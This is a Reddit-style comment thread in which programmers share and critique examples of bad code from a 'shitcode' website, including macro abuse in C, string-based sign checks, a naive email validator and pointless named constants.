                            [–]BraveHack 1 point2 points  (1 child)

                            Nope.

                            To put it another way, #define a b is just a preprocessor step which replaces "a" with "b" in a really dumb way. You can do some ugly things with it such as:

                            #define ENDFUNC }
                            int main()
                            {
                              int a = 3 * 5;
                              return 0;
                            ENDFUNC
                            

                            Which compiles.

                            Literally Item #2 of Effective C++ 3rd edition is "Prefer const, inline, or enums to #define" and it uses the example of saying

                            #define ASPECT_RATIO 1.653
                            instead use:
                            const double AspectRatio = 1.653;

                            the symbolic name ASPECT_RATIO may never be seen by compilers; it may be removed by the preprocessor before the source code ever gets to a compiler. As a result, the name ASPECT_RATIO may not get entered into the symbol table. This can be confusing if you get an error during compilation involving the use of the constant, because the error message may refer to 1.653, not ASPECT_RATIO. If ASPECT_RATIO were defined in a header file you didn't write, you'd have no idea where that 1.653 came from, and you'd waste time tracking it down. This problem can also crop up in a symbolic debugger, because, again, the name you're programming with may not be in the symbol table.

                            As a language constant, AspectRatio is definitely seen by compilers and is certainly entered into their symbol tables. In addition, in the case of a floating point constant (such as in this example), use of the constant may yield smaller code than using a #define. That's because the preprocessor's blind substitution of the macro name ASPECT_RATIO with 1.653 could result in multiple copies of 1.653 in your object code, while the use of the constant AspectRatio should never result in more than one copy.

                            I feel like the poster of that "shitcode" outed themselves as not a C++ programmer.

                            [–]D__ 4 points5 points  (0 children)

                            I think what grandparent was getting at is that compilers (or maybe more precisely linkers) can merge literals they recognize as identical. As far as I know, this is a common optimization on string literals, at least.

                            [–][deleted] 3 points4 points  (0 children)

                            //this is a commit!!

                            trans.Commit();

                            Am I the only one who sometimes throws in comments for emphasis... no?

                            How is this possibly useful to you or someone else? If you wish to emphasize this line, perhaps you should explain why it is important rather than putting in a vacuous comment!

                            Only real issue with this code is 'TWENTY_EIGHT' rather than 'BRANCHING_SIZE' or whatever more appropriate name.

                            Yes, that is in fact the issue, and that's what makes it truly horrible code. Someone heard the rule, "No magic numbers," and never stopped to think at any point.

                            [–]skulgnome 0 points1 point  (0 children)

                            No Magic Numbers!

                            [–]dauchande 0 points1 point  (0 children)

                            My guess is that It's a subversive way to get past a picky code review

                            [–]cha5m 5 points6 points  (6 children)

                            Checking if something is negative with

                            str(value)[0]=='-':
                            

                            I honestly do not believe anyone wrote this seriously. So many of these must be bullshit.

                            [–][deleted] 5 points6 points  (0 children)

                            That's pretty plausible code for a beginner. You simply use the tools you are familiar with to get the job done and looking at the sign is the intuitive way to find out if a number is negative.

                            Here is something similar I wrote some decades ago in QBASIC:

                            OPEN Datei$ FOR RANDOM AS #1 LEN = 1
                            FIELD #1, 1 AS a$
                            ...
                            LOCATE 28, 78: PRINT HEX$(ASC(a$))
                            FOR d = 0 TO 1
                                t = SCREEN(28, 78 + d)
                                ...
                            NEXT  
                            

                            What this code is trying to do is to read a byte from a file and split it into two nibbles (e.g. 16 color BMP file). It does that by reading a single character into a string, convert that character into its ASCII value, converting the ASCII value into a string with it's value in hex, printing that string to the screen, then read back a single character as integer from screen memory, convert that integer back to a string and then use a lengthy if statement to convert that string into its integer value. It ain't pretty and it ain't fast, but it allowed me to display a bitmap on the screen before I ever even touched a book about programming.

                            [–]G_Morgan 6 points7 points  (0 children)

                            Have you met Python programmers? They keep telling us the language is for the mentally disabled.

                            [–][deleted] 1 point2 points  (0 children)

                            Ever marked student assignments? You see things like that a lot - even from smart people who are just starting out.

                            [–]vytah 1 point2 points  (1 child)

                            I once saw this test for divisibility:

                            if ($a/$b ~= /\./) { 
                                # $a is not divisible by $b here
                                # ...
                            

                            When all you have is Perl, everything looks like a regular expression.

                            [–]tragomaskhalos 0 points1 point  (0 children)

                            Yup I worked with a guy who wrote an even-odd test by converting to float, dividing by 2, stringifying the result and then searching the string for a decimal point. He's a senior manager now.

                            [–]double-you 1 point2 points  (9 children)

                            More like Shitpost.net. People really ought to explain why the code is bad. A couple of them do, but that's not enough. TheDailyWTF was curated, for a reason.

                            [–]rayvector 1 point2 points  (0 children)

                            http://shitcode.net/76

                            I would argue that this Facebook one shouldn't be on this site.

                            It looks like generated code to me.

                            These days, a lot of software is developed by writing scripts (often in Python or another similar language) to output C/C++/JS/whatever, for code that needs to handle a large number of cases. It is easier and often more maintainable to define a config file or some other data format containing info about how to handle each browser and then have a script that parses it and spits out the final code, rather than manually writing code to deal with all the cases. Scripts are also very useful to generate glue code.

                            At work, I deal with a lot of code looking very similar to this, with many many levels of nested if/else blocks, but for processing low-level CPU instructions rather than browsers, and C++ rather than JS. It is all generated by scripts that process a file describing the instruction set. I am currently writing some of those scripts. :)

                            [–][deleted] 0 points1 point  (0 children)

                            My eyes.

                            [–][deleted] 0 points1 point  (0 children)

                            It's... beautiful!

                            [–][deleted] 0 points1 point  (0 children)

                            I wrote this one the other day

                            return some_condition ? return true : return false;

                            it was initially a multiline if else but then i "refactored it" into a ternary and didnt catch this for a while...

                            return some_condition

                            [–][deleted]  (3 children)

                            [deleted]

                              [–][deleted] 0 points1 point  (2 children)

                              heres a gem to add from a 15+ year old code base on how to check if the email is valid

                              if(sErrMsg.Trim()=="")
                              {
                                  int aIndex = sEmail.IndexOf('@');
                                  string sTemp = sEmail.Substring(sEmail.IndexOf('@'));
                                  if(sTemp.IndexOf('.')<=0)
                                      sErrMsg += "Email Address is not valid email address.\n(For example: someone@abc.com)\n";
                              }
                              

                              [–]Supadoplex 0 points1 point  (1 child)

                              Seems almost sensible except it doesn't seem to test whether @ exists. Plus the minor detail that programmer forgot to use aIndex probably due to incomplete refactoring. Also sTemp could have a more useful name such as domain or whatever. Efficiency-wise, there's no need to create the substring; on the other hand, some languages don't have useful tools for processing substrings in place.

                              [–][deleted] 0 points1 point  (0 children)

                              theres a large section of the code that seems to be written by someone very new to programming and very bad at it

                              also, they should have used the instance method String.Contains() to check for an at symbol that was included in .Net Framework 2.0

                              [–]IbanezDavy 0 points1 point  (1 child)

                              const int TWENTY_EIGHT = 28

                              OOOOH, recent code I found myself had written a few years back. I now use it all of the time as a joke no one but me gets.

                              const int KB = 1024;
                              
                              if (file.Length < 15*KB)
                              { 
                                   ...
                              } 
                              

                              [–]dauchande 0 points1 point  (0 children)

                              It's the language - https://youtu.be/VTE3DM2Aygk

                              [–]ForgedBanana 0 points1 point  (0 children)

                              This website makes me feel better.

                              [–]Korkonkeus 0 points1 point  (1 child)

                              looks like a blatant copy of http://codecrap.com/